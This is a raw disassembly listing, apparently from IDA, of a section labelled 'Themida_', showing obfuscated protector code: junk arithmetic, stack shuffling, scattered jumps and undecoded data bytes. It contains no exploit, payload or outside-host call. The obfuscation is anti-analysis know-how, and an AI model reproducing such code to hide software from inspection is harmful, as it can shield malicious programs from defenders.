		dd 4BF00h, 0F9010000h, 240C875Fh, 4BA525Ch, 0E9000000h
		dd 0FFFFAF35h, 0E981E929h, 13EF688Eh, 1FB6C181h, 0E7E914D6h
		dd 5200005Bh, 0C281E289h, 4, 8704C283h,	0CDE92414h, 0BFFFFFFEh
		dd 4149756Dh, 8A97C781h, 0F801BEB6h, 0FF517DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50F24D:				; CODE XREF: Themida_:00507A81j
		xchg	edx, edi
		jmp	loc_515C22
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 4C481h, 0B60F0000h, 8734FFC0h, 62EFE9h, 0E9D32900h
		dd 0FFFFE3EFh
; ---------------------------------------------------------------------------


loc_50F270:				; CODE XREF: Themida_:00510AA4j
		xor	ecx, 4AC40793h
		jmp	loc_50DCF6
; ---------------------------------------------------------------------------
byte_50F27B	db 66h			; DATA XREF: Themida_:00502854o
		dd 50240C8Bh, 405E089h,	0E9000000h, 0FFFFDBE1h,	59C3815Ah
		dd 57548509h, 6921D168h, 0FB015F0Dh, 0E9243C8Bh, 0FFFFFBA7h
		dd 57243489h, 5466A2BFh, 1B1CE97Ah, 0C3810000h,	4, 4C381h
		dd 1C870000h, 24248B24h, 5C243487h, 240C8B66h, 34FF5455h
		dd 3669E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50F2D6:				; CODE XREF: Themida_:00509E60j
		add	eax, 4
		push	esi
		push	73D64B79h
		pop	esi
		sub	esi, 77A737AAh
		push	2E26h
		mov	[esp], edx
		mov	edx, 243133FEh
		add	esi, edx
		pop	edx
		jmp	loc_5095E4
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 4050000h, 87000000h,	535C2404h, 0FFCB92E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50F311:				; CODE XREF: Themida_:00504C71j
		push	ebx
		mov	ebx, 58F73BC9h
		sub	ebx, 0D9250673h
		jmp	loc_5175DF
; ---------------------------------------------------------------------------
		dw 1C89h
aTsgt		db '$TégT',0
		dw 8100h
		dd 4C1h, 4C18300h, 2474FF51h, 48F5904h,	24248B24h, 0FF9014E9h
		dd 6DF381FFh, 15DF9D3h,	34FF5BD9h, 242C8B24h, 4C481h, 0C4830000h
		dd 3862E904h, 295FFFFFh, 53EB81F3h, 0FF6C986Dh,	0E95E2434h
		dd 2DC5h, 0E924248Bh, 10CBh, 5E7C15Ch, 1BE1EF81h, 0EF8131EBh
		dd 77013F3Dh, 814BE9h
		db 0
; ---------------------------------------------------------------------------


loc_50F391:				; CODE XREF: Themida_:00505A03j
		mov	[esp], ecx
		mov	ecx, 782B0A2Eh
		dec	ecx
		shr	ecx, 5
		jmp	loc_504A4A
; ---------------------------------------------------------------------------


loc_50F3A2:				; CODE XREF: Themida_:00504B43j
		add	edx, 67420B3Bh
		xor	edx, 977145B8h
		jmp	loc_505D89
; ---------------------------------------------------------------------------
		db 59h
		dd 5224148Bh, 0C281E289h, 4, 0FFE3EAE9h, 28E168FFh, 14890000h
		dd 5B13BA24h, 0D0017EC9h, 2383E9h, 399A6800h, 1C890000h
		dd 1865E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50F3E6:				; CODE XREF: Themida_:00511624j
		push	edi
		jmp	loc_516612
; ---------------------------------------------------------------------------
		dd 31243C33h, 3C33243Ch, 24248B24h, 0E9240431h,	0FFFF36CBh
		dd 4C481h, 0EA350000h, 8919AB42h, 0D10158C1h, 8B590188h
		dd 89512414h, 4C181E1h,	81000000h, 4C1h, 240C8700h, 369DE95Ch
		dd 1C8BFFFFh, 0DB95E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50F436:				; CODE XREF: Themida_:0051081Cj
		add	edx, 77003936h
		sub	edx, 55B87B5Ah
		add	edx, ecx
		jmp	loc_50EFE7
; ---------------------------------------------------------------------------


loc_50F449:				; CODE XREF: Themida_:0050BE80j
		pop	dword ptr [esp]
		jmp	loc_5062E4
; ---------------------------------------------------------------------------


loc_50F451:				; CODE XREF: Themida_:005132C5j
		neg	ah
		push	ebx
		jmp	loc_50C958
; ---------------------------------------------------------------------------
byte_50F459	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005027ECo
		dd 0E92434FFh, 6F3Fh
; ---------------------------------------------------------------------------


loc_50F464:				; CODE XREF: Themida_:00508235j
		pop	edx
		jmp	loc_50AB52
; ---------------------------------------------------------------------------
		dw 0FB31h
		dd 0FF37AAE9h, 0E7C380FFh, 5828C380h, 4E9C300h,	5B000059h
		dd 0E904EC83h, 27ACh, 68243489h, 357F5B48h, 5124348Bh
		dd 0C181E189h, 4, 10B9E9h, 81D3F700h, 6242E5C3h, 0EB814353h
		dd 41AFC20h, 0FFE8A4E9h, 0EF0159FFh, 0E958575Dh, 0FFFF5A92h
		dd 3DE95548h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50F4C7:				; CODE XREF: Themida_:00512F58j
		push	edx
		mov	edx, 396013D8h
		xchg	ebx, edx
		dec	ebx
		xchg	ebx, edx
		add	edx, 2EFC0D4Ah
		dec	edx
		xor	edx, 77B573E4h
		add	edx, 3C27DDD3h
		add	edi, 3771280Fh
		add	edi, edx
		jmp	loc_509CC2
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 4, 5C243487h, 55243489h, 0E7594ABDh,	8BEE8963h, 0C481242Ch
		dd 4, 693ACE81h, 0EE8154A7h, 7D73F57h, 7E3E68h,	241C8900h
		dd 8C1696BBh, 0EB814326h, 5F4A0911h, 2F4ABA52h,	0D33138A8h
		dd 8324148Bh, 0E3E904C4h, 0F7FFFFCFh, 5CE946D6h, 5FFFFAAh
		dd 0CB8161Bh, 2531EE81h, 0C60159B9h, 2531C681h,	835859B9h
		dd 0C8904ECh, 2B924h, 0CE010000h, 24348759h, 6624248Bh
		dd 9C243CD3h, 0FF4843E9h, 48F58FFh, 0B5515C24h,	0E3895349h
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 0FF3EBBE9h, 0C4835AFFh
		dd 6BF7E904h, 0C870000h, 7685C24h, 89000060h, 6D68240Ch
		dd 59479354h, 20906855h, 295D264Eh, 0BA2D5DE8h,	10B4B72h
		dd 72BA05C8h, 0EC830B4Bh, 4432E904h, 0C62D0000h, 89F96828h
		dd 9AE958C1h, 53000086h, 2A418CBBh, 0C1D3F71Eh,	0E94B02EBh
		dd 0AEEh, 0C9E9FB01h, 29FFFF75h, 0C7015BD8h, 8324048Bh
		dd 0C78104C4h, 4, 0FFA965E9h, 10068FFh,	295E47A3h, 8C42E9EEh
		dd 0A868FFFFh, 89000000h, 74FF2414h, 8F5A0424h,	0E95C2404h
		dd 0FFFF76AAh
; ---------------------------------------------------------------------------


loc_50F634:				; CODE XREF: Themida_:00507785j
		add	edi, 4
		sub	edi, 4
		jmp	loc_5157B9
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 25DF18EDh, 0E935C781h, 0F901B415h, 55243C8Bh, 0C5815D54h
		dd 4, 3304C583h, 2C31242Ch, 242C3324h, 240C335Ch, 33240C31h
		dd 248B240Ch, 8083E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50F67A:				; CODE XREF: Themida_:00509873j
		mov	edi, 34077B0h
		add	edi, 285147CDh
		inc	edi
		shl	edi, 4
		xor	edi, 14BB1CE6h
		jmp	loc_50BAF6
; ---------------------------------------------------------------------------
dword_50F694	dd 240C8B66h, 27C968h, 24048900h, 0FF9D42E9h, 0C58158FFh
					; DATA XREF: Themida_:00502A3Co
		dd 41314683h, 14BAE957h, 4890000h, 7754E924h, 0EC810000h
		dd 4, 0E9241489h, 0FFFF6C7Bh, 5E08950h,	4, 8704E883h, 0E4E92404h
		dd 81FFFF54h, 0E25F4E3h, 5E3C151h, 7D0BE9h, 82EB8100h
		dd 5D087760h, 3C3EB81h,	0C32912D8h, 3C3C381h, 0BD5512D8h
		dd 67883660h, 0BA52DDF7h, 70E93E2Ah, 0E0E9D509h
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50F713:				; CODE XREF: Themida_:00511D5Bj
		mov	ecx, 0F4D76157h
		jmp	loc_50B3EE
; ---------------------------------------------------------------------------
aXswz		db 'Xéw‡',0
		dw 8900h
		dd 0E2892414h, 4C281h, 0EA810000h, 4, 5C241487h, 0E9242C89h
		dd 0FFFFC0C5h, 5001BB53h, 0EB810327h, 80DF2E3Ah, 0A3E9DE31h
		dd 0E9000082h, 0FFFF3373h
; ---------------------------------------------------------------------------


loc_50F758:				; CODE XREF: Themida_:00509E91j
		push	small 0
		sub	[esp], bl
		mov	bl, [esp]
		jmp	loc_5107F6
; ---------------------------------------------------------------------------
		db 81h
		dd 6E61BFE9h, 0E9D9F738h, 3A6Dh, 4BEh, 3F11E900h, 0EC81FFFFh
		dd 4, 0BD242C89h, 47195DA2h, 0FFA2A2E9h, 143166FFh, 14336624h
		dd 14316624h, 66526624h, 662414F7h, 5524148Bh, 7F1AE9h
		dd 4AB55100h, 6859EC88h, 2CABh,	88241489h, 8BD788E2h, 0C4812414h
		dd 4, 8124048Bh, 4C4h, 0EEE95600h, 5C00006Fh, 52241C89h
		dd 83E9D0B2h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50F7E3:				; CODE XREF: Themida_:0050CD9Ej
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_50FA1D
; ---------------------------------------------------------------------------


loc_50F7F3:				; CODE XREF: Themida_:00503DBBj
		not	edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_505C43
; ---------------------------------------------------------------------------
		dw 665Ah
		dd 6648262Dh, 666B3768h, 53243489h, 5AB96651h, 0CB896604h
		dd 0FF60F2E9h
		db 0FFh
byte_50F81D	db 0F7h, 1Ch, 24h	; DATA XREF: Themida_:005029DCo
		dd 0F60AE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50F826:				; CODE XREF: Themida_:00505F38j
		push	5D9Fh
		mov	[esp], esp
		jmp	loc_50A089
; ---------------------------------------------------------------------------
		db 88h
		dd 382AE9FDh, 0EC68FFFFh, 8900003Eh, 0ACE9242Ch, 81FFFF7Eh
		dd 4C4h, 0F3B95100h, 832E8801h,	0E4E9FFE9h
		db 38h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50F85B:				; CODE XREF: Themida_:005133AEj
		mov	ebx, [esp]
		add	esp, 4
		shr	ecx, 2
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_50995A
; ---------------------------------------------------------------------------


loc_50F86F:				; CODE XREF: Themida_:00504F95j
		sub	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_502ACB
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0B30F6624h, 0E99C2404h, 0FFFF323Bh, 2128C681h, 0EC83536Dh
		dd 241C8904h, 5908A9BBh, 0BEB85058h, 15BF960h, 0C68158C6h
		dd 258A7BF7h, 5809E9h, 7CF6B800h, 0C13145F5h, 8324048Bh
		dd 7AE904C4h, 59FFFF61h, 0FFA357E9h, 9D2D5BFFh,	0E91FCC52h
		dd 712Bh
dword_50F8D8	dd 9D1C77FFh, 4185866h,	0E4E99C24h ; DATA XREF:	Themida_:005028BCo
		db 31h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50F8E7:				; CODE XREF: Themida_:005058B7j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		push	6034h
		mov	[esp], ebp
		push	0ADDh
		mov	[esp], esi
		mov	esi, 139B1D08h
		mov	ebp, 30220698h
		add	ebp, esi
		pop	esi
		neg	ebp
		add	ebp, 98D47748h
		mov	edi, ebp
		pop	ebp
		xor	ebx, edi
		push	dword ptr [esp]
		pop	edi
		push	eax
		jmp	loc_50C641
; ---------------------------------------------------------------------------
		dw 0C829h
		dd 79EC2D59h, 0F00108A3h, 0FF55E9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50F931:				; CODE XREF: Themida_:0050DFAFj
		mov	ebx, 64872AF2h
		sub	edi, ebx
		pop	ebx
		pop	edx
		push	edi
		jmp	loc_504695
; ---------------------------------------------------------------------------
		dd 0FF24248Bh, 34FF2434h, 0EC815924h, 4, 0FFB913E9h, 247401FFh
		dd 44815E08h, 48620424h, 0D8E96553h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50F967:				; CODE XREF: Themida_:00510F7Cj
		xor	eax, esi
		push	5D10h
		mov	[esp], edx
		push	1
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		jmp	loc_50A715
; ---------------------------------------------------------------------------


loc_50F990:				; CODE XREF: Themida_:00511A82j
		push	dword ptr [esp]
		jmp	loc_509D6D
; ---------------------------------------------------------------------------
		dd 5E5C15Dh, 8105E5C1h,	6413FCEDh, 31FE0562h, 0B8E91DC9h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50F9AF:				; CODE XREF: Themida_:0050537Ej
		push	ebx
		mov	ebx, 4
		jmp	loc_5075D1
; ---------------------------------------------------------------------------
		dw 0D0B8h
		dd 2966D158h, 58042444h, 46D5E9h
		db 0
; ---------------------------------------------------------------------------


loc_50F9C9:				; CODE XREF: Themida_:00503DB4j
		xor	edi, ebx
		pop	ebx
		push	edi
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		jmp	loc_508324
; ---------------------------------------------------------------------------


loc_50F9DF:				; CODE XREF: Themida_:0050309Dj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_507878
; ---------------------------------------------------------------------------
		dd 58611DBFh, 247C0156h, 3304E904h
		db 2 dup(0FFh)
word_50F9F6	dw 8B66h		; DATA XREF: Themida_:00502A08o
		dd 0F5E9240Ch
		db 7Bh,	2 dup(0)
byte_50F9FF	db 0FFh			; DATA XREF: Themida_:00502A10o
		dd 70E92434h, 81FFFF6Fh, 4C4h, 0E9D03100h, 30F8h, 882C542Ch
		dd 33B6E9h
		db 0
; ---------------------------------------------------------------------------


loc_50FA1D:				; CODE XREF: Themida_:0050F7EEj
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5153BE
; ---------------------------------------------------------------------------
		db 0BEh
		dd 66633B6Eh, 924DC681h, 0F529B1B6h, 5DEF315Eh,	3C8BF829h
		dd 5967E924h, 3489FFFFh, 52E68924h, 0D10623BAh,	568CE96Dh
		dd 2C8B0000h, 4C48324h,	4C581h,	0C5830000h, 242C8704h
		dd 4E48E95Ch, 6866FFFFh, 8B660002h, 0C481240Ch,	2, 77E95066h
		dd 8FFFFFECh, 0D0E92404h, 83FFFF54h, 685704C4h,	678E2B8Dh
		dd 0E92434FFh, 0FFFFEFD8h, 0E9E38953h, 0FFFFD234h, 383BD55h
		dd 0E9317532h, 83242C8Bh, 0E98104C4h, 1, 58968h, 24048900h
		dd 0B1D685B8h, 1EE9818Ah, 29695945h, 4532E9C1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50FAD2:				; CODE XREF: Themida_:00513BAFj
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_510FD8
		push	732Eh
		mov	[esp], edx
		jmp	loc_505436
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8904ECh, 240CFF24h, 0F7240487h, 240487D0h,	0F792935Bh
		dd 0D00592DAh, 89E38946h, 24048BC2h, 81E38953h,	4C3h, 4C38100h
		dd 87000000h, 1CE9241Ch, 5EFFFF43h, 4C681h, 0F6E90000h
		dd 56FFFF92h, 232CF9BEh, 5A28BA0Bh, 0F22929FAh,	5AD7095Eh
		dd 0E9FFEF83h, 0FFFF512Eh, 8BD9015Fh, 0C483241Ch, 59CB0104h
		dd 0EB81C301h, 2347356Bh, 3E6368h, 243C8900h, 0FFC837E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50FB69:				; CODE XREF: Themida_:0050B8A1j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	ecx, 32C557C9h
		push	edi
		mov	edi, 4F4464E5h
		xchg	esi, edi
		not	esi
		push	edi
		jmp	loc_508558
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 7A08B924h, 0D9F73554h, 5E7AE941h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50FB96:				; CODE XREF: Themida_:00506DF0j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5059DC
; ---------------------------------------------------------------------------


loc_50FBA2:				; CODE XREF: Themida_:00516DBBj
		push	551753A8h
		pop	ebx
		jmp	loc_508161
; ---------------------------------------------------------------------------
		db 31h,	0D0h, 5Ah
		dd 0E958C721h, 0FFFFEB19h
; ---------------------------------------------------------------------------


loc_50FBB8:				; CODE XREF: Themida_:0051004Fj
		sub	edi, ecx
		sub	edi, 739E26D9h
		jmp	loc_507C4F
; ---------------------------------------------------------------------------
		db 1, 0F1h, 5Eh
		dd 176FE9h, 8BC88900h, 0C481240Ch, 4, 7C69E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50FBDE:				; CODE XREF: Themida_:005171A2j
		mov	eax, [esp]
		add	esp, 4
		sub	ecx, 3C0D3F20h
		add	ecx, esi
		add	ecx, 3C0D3F20h
		jmp	loc_50EB01
; ---------------------------------------------------------------------------


loc_50FBFA:				; CODE XREF: Themida_:0050BF30j
		add	esi, edx
		pop	edx
		push	ecx
		push	esi
		push	edi
		mov	edi, 39F4227Dh
		inc	edi
		jmp	loc_507F3D
; ---------------------------------------------------------------------------
aCfxscq		db '´]',8,'æfXé—Q',0
		align 2
		dw 8951h
		dd 4C181E1h, 0E9000000h, 0FFFF5511h
; ---------------------------------------------------------------------------


loc_50FC24:				; CODE XREF: Themida_:0050B458j
		mov	edx, 0
		push	ebp
		jmp	loc_50CFC0
; ---------------------------------------------------------------------------
a3LRsr		db '3,$‹$$Ré',0Ah,0
		dw 3300h
		dd 3C31243Ch, 243C3324h, 48B665Ch, 59545124h, 0BBD9E955h
		dd 75B6FFFFh, 0F601EE80h, 53EE80D6h, 9AEB80h, 9AC380F3h
		dd 0AAC3805Ah, 0EB80EB28h, 6CB450AAh, 3AB75366h, 0FFB30AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50FC79:				; CODE XREF: Themida_:00512C8Cj
		and	ebp, 71613CAEh
		jmp	loc_50CC41
; ---------------------------------------------------------------------------
		dd 0C181F901h, 416F2AA7h, 0FFEA34E9h, 0E9E801FFh, 5719h
		dd 4C281h, 0FF520000h, 8B042474h, 0C4832414h, 24048F04h
		dd 9A3E9h, 59A56800h, 48B6163h,	4C48324h, 740E9h, 2E05E900h
		dd 5166FFFFh, 0EE28B5B5h, 240C8B66h, 3002C483h,	74E95AF0h
		dd 81FFFFC5h, 342E59E9h, 81D90116h, 342E59C1h, 0E8E95B16h
		dd 68FFFFEBh, 7667h, 0E9240C89h, 0FFFFE6BAh, 5C24048Fh
		dd 2424D366h, 2DC1E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50FD0A:				; CODE XREF: Themida_:00514BE3j
		add	esi, 4
		jmp	loc_513FAE
; ---------------------------------------------------------------------------


loc_50FD15:				; CODE XREF: Themida_:00517775j
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_512964
; ---------------------------------------------------------------------------
		dd offset dword_4E814C+71Ch
		align 2
		dw 1C89h
		dd 0A8E924h, 8FB10000h,	0D9F6C9FEh, 80B8F180h, 0F1803BE1h
		dd 59C828D6h, 0FFB806E9h, 3E3C0FFh, 88D3EB80h, 4582E9DCh
		dd 0B866FFFFh, 2D660463h, 2D664640h, 0E8E92541h, 0D1FFFF87h
		dd 7DE953EFh, 87FFFF76h, 0E95C2414h, 0FFFF49CFh
; ---------------------------------------------------------------------------


loc_50FD78:				; CODE XREF: Themida_:00517E03j
		pop	dword ptr [esp]
		xor	ecx, edi
		xor	edi, ecx
		xor	ecx, edi
		jmp	loc_517274
; ---------------------------------------------------------------------------
		dw 7F83h
		dd 840F0020h, 5E3Dh, 4EC81h, 1C890000h,	9ABE5624h, 89376762h
		dd 24348BF3h, 4C481h, 0DE010000h, 5B2434FFh, 0A6CE9h
		db 0
; ---------------------------------------------------------------------------


loc_50FDB5:				; CODE XREF: Themida_:0050C8E5j
		dec	ebx
		xor	ebx, 5D6B7460h
		add	eax, ebx
		pop	ebx
		jmp	loc_515869
; ---------------------------------------------------------------------------


loc_50FDC4:				; CODE XREF: Themida_:0050948Ej
		sub	edx, edi
		pop	edi
		add	edx, 44F2634Ah
		jmp	loc_5164D5
; ---------------------------------------------------------------------------
		dw 5066h
		dd 2CF1E99Ch, 5B54FFFFh, 0FF7EDAE9h, 6EF581FFh,	2991CEB4h
		dd 242C8BE9h, 5604C483h, 495CE9h
		db 0
; ---------------------------------------------------------------------------


loc_50FDF5:				; CODE XREF: Themida_:005169E6j
		sub	ebp, 9FE73DAh
		jmp	loc_5078E0
; ---------------------------------------------------------------------------


loc_50FE00:				; CODE XREF: Themida_:0050D09Dj
		push	eax
		mov	eax, 0
		add	eax, edx
		xor	dword ptr [eax], 3ED08120h
		pop	eax
		pop	edx
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5043AD
; ---------------------------------------------------------------------------
		db 81h
		dd 0B57EA3F7h, 81DFF76Ah, 56212AE7h, 80C7813Dh,	0E914655Eh
		dd 4F18h, 4C681h, 34870000h, 0B8505C24h, 3DD0435Bh, 0E958C121h
		dd 0FFFF9049h, 0E904EC83h, 0FFFF9D9Ah, 31240C33h, 0AAE9240Ch
		dd 88000015h, 4CE951C5h, 30000027h, 58E9240Ch
		db 2Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50FE73:				; CODE XREF: Themida_:005060DEj
		pop	esp
		mov	[esp], ebx
		push	6715h
		mov	[esp], ecx
		jmp	loc_513609
; ---------------------------------------------------------------------------
		dd 3FF6E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50FE8A:				; CODE XREF: Themida_:00503F29j
		push	edi
		mov	edi, esp
		push	34DBh
		mov	[esp], ecx
		mov	ecx, 7BC22DC3h
		inc	ecx
		add	ecx, 4FF93AF9h
		and	ecx, 2740464Ah
		shl	ecx, 4
		add	ecx, 508642F2h
		sub	ecx, 808A436Eh
		add	edi, ecx
		jmp	loc_50D277
; ---------------------------------------------------------------------------
		db 59h,	0F6h, 0D0h
		dd 0D6E9D8F6h, 52FFFF85h, 5F60F068h, 0F2815A5Dh, 0AF2FE7CDh
		dd 4E58E9h
		db 0
; ---------------------------------------------------------------------------


loc_50FED9:				; CODE XREF: Themida_:00511337j
		sub	ebx, 14A72A2Ah
		pop	edi
		add	ebx, 9192F541h
		push	ebx
		pop	ecx
		pop	ebx
		push	ebx
		jmp	loc_504A12
; ---------------------------------------------------------------------------
		db 81h
		dd 2930D7C3h, 0BAC3817Bh, 4B1BD811h, 0D4B85043h, 0E951F067h
		dd 0FFFF4EA6h, 8103E3C1h, 8F4352C3h, 0E9DF3101h, 1010h
		dd 0BD242C89h, 663356C5h, 0F75DE809h, 3582E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50FF2A:				; CODE XREF: Themida_:00506409j
		pop	esi
		sub	[esp+4], eax
		add	dword ptr [esp+4], 3BA457CAh
		push	edx
		mov	edx, 6FA04638h
		push	2373h
		jmp	loc_5099BE
; ---------------------------------------------------------------------------
		db 81h
		dd 66120BE9h, 0ACE98165h, 893DFCCEh, 2434FFCEh,	0FF70AEE9h
		dd 4C781FFh, 0E9000000h, 4E8h, 0E781D7F7h, 5B632C2Ch, 0E9BE564Fh
		dd 0C1738130h, 0EE8104E6h, 0B8B8B00Bh, 815EF721h, 2FA6A7EFh
		dd 0A7C38112h, 13E562Ch, 0A7EB81FBh, 0E93E562Ch, 0FFFF8D6Eh
; ---------------------------------------------------------------------------


loc_50FF9C:				; CODE XREF: Themida_:0050F1A7j
		add	ebp, 0AC129B47h
		add	edi, ebp
		pop	ebp
		add	edi, 4
		jmp	loc_507F6A
; ---------------------------------------------------------------------------


loc_50FFAD:				; CODE XREF: Themida_:005063A5j
		add	ebx, edi
		pop	edi
		jmp	loc_514FBA
; ---------------------------------------------------------------------------


loc_50FFB5:				; CODE XREF: Themida_:00510EEAj
		xor	bl, 9Ch
		add	al, bl
		mov	ebx, [esp]
		add	esp, 4
		add	al, bl
		push	7715h
		mov	[esp], ebx
		jmp	loc_508663
; ---------------------------------------------------------------------------


loc_50FFD2:				; CODE XREF: Themida_:00508764j
		sub	esi, 0B534A81h
		pop	ebx
		shl	esi, 2
		or	esi, 282222CFh
		sub	esi, 7DFE66CBh
		jmp	loc_513A4F
; ---------------------------------------------------------------------------
		db 56h,	0FFh, 74h
		dd 8F5E0424h, 895C2404h, 17E9243Ch, 5600007Ch, 0C93AC4BEh
		dd 0E9505647h, 0FFFFBB1Bh, 0B6EB815Fh, 0E93F7538h, 0FFFF7811h
; ---------------------------------------------------------------------------


loc_510018:				; CODE XREF: Themida_:0050534Dj
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		jmp	loc_50DF84
; ---------------------------------------------------------------------------
		dd 24148B66h, 3061E957h
		db 2 dup(0)
word_510032	dw 77FFh		; DATA XREF: Themida_:00502974o
		dd 6852501Ch, 18A4171Eh, 8324148Bh, 0DAF704C4h,	0FF73D6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_510049:				; CODE XREF: Themida_:0050E4D3j
		add	edi, 739E26D9h
		jmp	loc_50FBB8
; ---------------------------------------------------------------------------
		dd 0D257C168h, 0E7C15F0Bh, 0F7814F02h, 49F641F0h, 0DAEDEF81h
		dd 0FD896324h, 0DEED815Fh, 8179BD15h, 0AD5708EDh, 0E9DDF75Fh
		dd 0FFFFDEE2h
; ---------------------------------------------------------------------------


loc_510080:				; CODE XREF: Themida_:00514BF0j
		mov	edi, ebx
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		add	dword ptr [esp], 7C752474h
		pop	ecx
		sub	ecx, 7C752474h
		jmp	loc_50BD14
; ---------------------------------------------------------------------------


loc_5100A9:				; CODE XREF: Themida_:005174FDj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xchg	eax, [esp]
		pop	esp
		jmp	loc_50D98D
; ---------------------------------------------------------------------------


loc_5100BC:				; CODE XREF: Themida_:0050E0AAj
		mov	ecx, ebp
		pop	ebp
		push	6902h
		mov	[esp], esi
		mov	esi, ecx
		jmp	loc_510A7C
; ---------------------------------------------------------------------------
		dw 0DDF7h
aVs_0		db 'Véš\',0
		align 2


loc_5100D6:				; CODE XREF: Themida_:00508138j
		add	ecx, 4
		push	eax
		jmp	loc_5073D1
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 68096AC7h, 6A7FEB81h, 0D9012801h, 4B8505Bh, 29000000h
		dd 24048BC1h, 81E78957h, 4C7h, 4EC8300h, 0BA241489h, 6D5C4ADBh
		dd 1AEDE9h
		db 0
; ---------------------------------------------------------------------------


loc_510115:				; CODE XREF: Themida_:0051744Bj
		mov	edx, 73984571h
		mov	esi, edx
		jmp	loc_502D02
; ---------------------------------------------------------------------------
		db 1, 0CAh, 59h
		dd 1ADBB53h, 0E9524A84h, 18E7h,	0F32DA7BAh, 81D2F735h
		dd 0D28140EAh, 5AD72173h, 0BB53DFF7h, 7944652Bh, 49EAE381h
		dd 0EB816534h, 0E431675h, 42E9DF31h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51015B:				; CODE XREF: Themida_:0050D9B1j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_507D0A
; ---------------------------------------------------------------------------
		dd 243C8B5Dh, 8104C483h, 6E7962EAh, 632B687Ch, 2C890000h
		dd 7666BD24h, 0BB5354C6h, 284CB1D0h, 50D5E9h, 24248B00h
		dd 0B5240C89h, 3E5C0A9h, 0C580EDD0h, 52536640h,	8BE9FFB6h
		dd 0C1FFFFD9h, 78E907E2h
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5101B3:				; CODE XREF: Themida_:0050E859j
		pop	ebx
		and	eax, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 4
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		shr	eax, 8
		xor	eax, ecx
		xor	eax, edi
		jmp	loc_50A887
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24248904h, 0E9E38953h, 0FFFFA85Dh, 14C2815Ah, 5B086637h
		dd 815AD301h, 1EBh, 47506800h, 2C890000h, 7E8ABD24h, 0C3810D4Dh
		dd 687B65EFh, 686CE9h
		db 0
; ---------------------------------------------------------------------------


loc_51021D:				; CODE XREF: Themida_:005149E2j
		add	esi, 4
		push	ebx
		push	ecx
		jmp	loc_510C23
; ---------------------------------------------------------------------------
		dw 5DBDh
		dd 29099B27h, 0F1815DE9h, 839D31A1h, 0FFB0E8E9h, 240489FFh
		dd 0FFF568E9h, 0B85055FFh, 4, 3EE9C589h, 0E9000047h, 0FFFF2873h
		dd 4EC815Bh, 0E9000000h, 60Eh
; ---------------------------------------------------------------------------


loc_510264:				; CODE XREF: Themida_:00513DBFj
		push	771Bh
		jmp	loc_5136E4
; ---------------------------------------------------------------------------
		dw 5954h
